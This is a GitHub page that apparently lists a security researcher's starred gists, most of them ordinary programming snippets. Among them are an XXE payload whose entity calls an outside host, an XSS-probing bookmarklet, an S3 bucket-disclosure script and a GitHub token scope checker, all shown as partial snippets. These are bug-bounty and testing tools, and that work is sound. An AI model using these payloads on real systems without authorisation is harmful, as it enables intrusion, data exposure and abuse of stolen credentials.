Skip to content

Instantly share code, notes, and snippets.

View hakluke's full-sized avatar
💭
hacking \o/

Luke Stephens (hakluke) hakluke

💭
hacking \o/
View GitHub Profile
@amatellanes
amatellanes / celery.sh
Last active April 19, 2024 11:31
Celery handy commands
/* Useful celery config.
app = Celery('tasks',
broker='redis://localhost:6379',
backend='redis://localhost:6379')
app.conf.update(
CELERY_TASK_RESULT_EXPIRES=3600,
CELERY_QUEUES=(
Queue('default', routing_key='tasks.#'),
@staaldraad
staaldraad / XXE_payloads
Last active May 8, 2024 01:23
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@eduncan911
eduncan911 / go-build-all
Last active April 11, 2024 07:14
Go Cross-Compile Script
#!/bin/bash
#
# GoLang cross-compile snippet for Go 1.6+ based loosely on Dave Chaney's cross-compile script:
# http://dave.cheney.net/2012/09/08/an-introduction-to-cross-compilation-with-go
#
# To use:
#
# $ cd ~/path-to/my-awesome-project
# $ go-build-all
#
@kasparsd
kasparsd / clone-popular.sh
Last active January 3, 2024 16:06
Get the top 1000 most popular plugins on WordPress.org
@jboursiquot
jboursiquot / limit_goroutines_with_semaphores.go
Last active October 6, 2023 15:56
Limiting the number of running goroutines using semaphores in #golang
var (
concurrency = 5
semaChan = make(chan struct{}, concurrency)
)
func doWork(item int) {
semaChan <- struct{}{} // block while full
go func() {
defer func() {
<-semaChan // read releases a slot
# Usage: ./dns_check.py <list_of_domain_names.txt>
import dns.resolver
import requests
import re
import json
import sys
resolver = dns.resolver.Resolver()
resolver.timeout = 5
resolver.lifetime = 5
@Rhynorater
Rhynorater / XSSbookmarklet.js
Last active May 18, 2020 04:23
XSS Discovery Bookmarklet
javascript:(function()%7Bvar j %3D document.getElementsByTagName("input")%3Bif (document.location.href.indexOf("%3F")>-1)%7Bvar l %3D "%26"%3B%7Delse%7Bvar l %3D "%3F"%3B%7Dfor (i%3D0%3Bi<j.length%3Bi%2B%2B)%7Bl%2B%3Dj%5Bi%5D.getAttribute("name")%2B'%3D"><test1234>%26'%7Ddocument.location %3D document.location%2Bl%7D)()
@deeso
deeso / download_new_domains.py
Created March 22, 2018 03:02
Download new domains from Whois Newly Registered Domains
from pymongo import MongoClient
import json, os, time, signal, threading, sys
from datetime import datetime, timedelta
from gglsbl import SafeBrowsingList
import requests
from datetime import datetime
from datetime import datetime, timedelta
from virus_total_apis import PrivateApi, PublicApi
import argparse
@fransr
fransr / bucket-disclose.sh
Last active May 1, 2024 09:46
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
@EdOverflow
EdOverflow / ghcheck
Created April 6, 2019 15:26
Quickly determine the validity and scope of a GitHub access token.
#!/bin/bash
GREEN='\033[0;32m'
RED='\033[0;31m'
END='\033[0m'
request=$(curl -s -u "hehe:$1" https://api.github.com/user)
name=$(echo "$request" | jq -r ".login" 2> /dev/null)
if [[ $name == "null" ]]; then
echo -e "${RED}Not a GitHub access token.${END}"